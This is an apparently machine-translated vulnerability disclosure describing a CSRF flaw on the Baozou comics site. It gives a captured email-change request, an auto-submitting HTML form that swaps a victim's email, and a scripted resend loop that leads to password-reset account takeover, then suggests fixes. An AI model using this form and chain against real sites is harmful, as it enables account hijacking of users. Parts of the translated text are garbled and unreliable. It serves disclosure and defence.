Baozou comics # improper Csrf defense: attackers can exploit this vulnerability to modify others' mailboxes and reset their passwords.

Baozou comics # improper Csrf defense: attackers can exploit this vulnerability to modify others' mailboxes and reset their passwords.

 

First, modify the email address and capture packets in the email address verification area. At this time, my mailbox is empty.



Submit address: http://baozoumanhua.com/users/8311358

Submit data:
 

-----------------------------195704664324Content-Disposition: form-data; name="utf8"a??-----------------------------195704664324Content-Disposition: form-data; name="_method"put-----------------------------195704664324Content-Disposition: form-data; name="authenticity_token"FI+dAl32T5Oh1W5G0LQ4ArOK1t9JQRqoNOLWHaTHEgk=-----------------------------195704664324Content-Disposition: form-data; name="user[email]"aaaxasa1@qq.com-----------------------------195704664324Content-Disposition: form-data; name="commit"?????1é????±

This has a token.



Then I write a form.
 

<Form id = "csrf" action = "http://baozoumanhua.com/users/user id" method = "post"> <input type = hidden name = "utf8" value = "?? "> <Input type = hidden name =" _ method "value =" put "> <input type = hidden name =" authenticity_token "value =" FI + token = "> <input type = hidden name = "user [email]" value = "your mailbox"> <input type = hidden name = "commit" value = "????? 1 é ???? ± "> <Script> document. getElementById ('csrf'). submit (); </script> </form>

Click "Send activation email" to capture packets.

GET: http://baozoumanhua.com/my/resend/user ID



In this case, I replace the form email with my valid email address.



Enable and capture packets
 

A message is displayed, indicating that the token is successfully modified.
 

We can see that get accessed a.htm first, and then post it and submit it to baozou comics.



Now you get rid of the mailbox, just access the http://baozoumanhua.com/my/resend/8311358.

As for this pop-up window, the new window pops up to B .htm. Use js to write a GET access every second.

Http://baozoumanhua.com/my/resend/8311358



At this time I was directed to B .htm, and after being directed to B .htm, I would get to http://baozoumanhua.com/my/resend/8311358 many times.



Then I received the activation email.
 

 

Now activated, you can send a password reset email to the http://baozoumanhua.com/fetchpass.

=. = Then he can change his password.

Solution:

As with the previous vulnerability, WooYun: the promotion of comics is beyond the authority, and the violent and diffuse works (tested by Wang Nima's account) are used to earn a fortune and embark on the peak of life.

Take the token to the http header or verify the referer.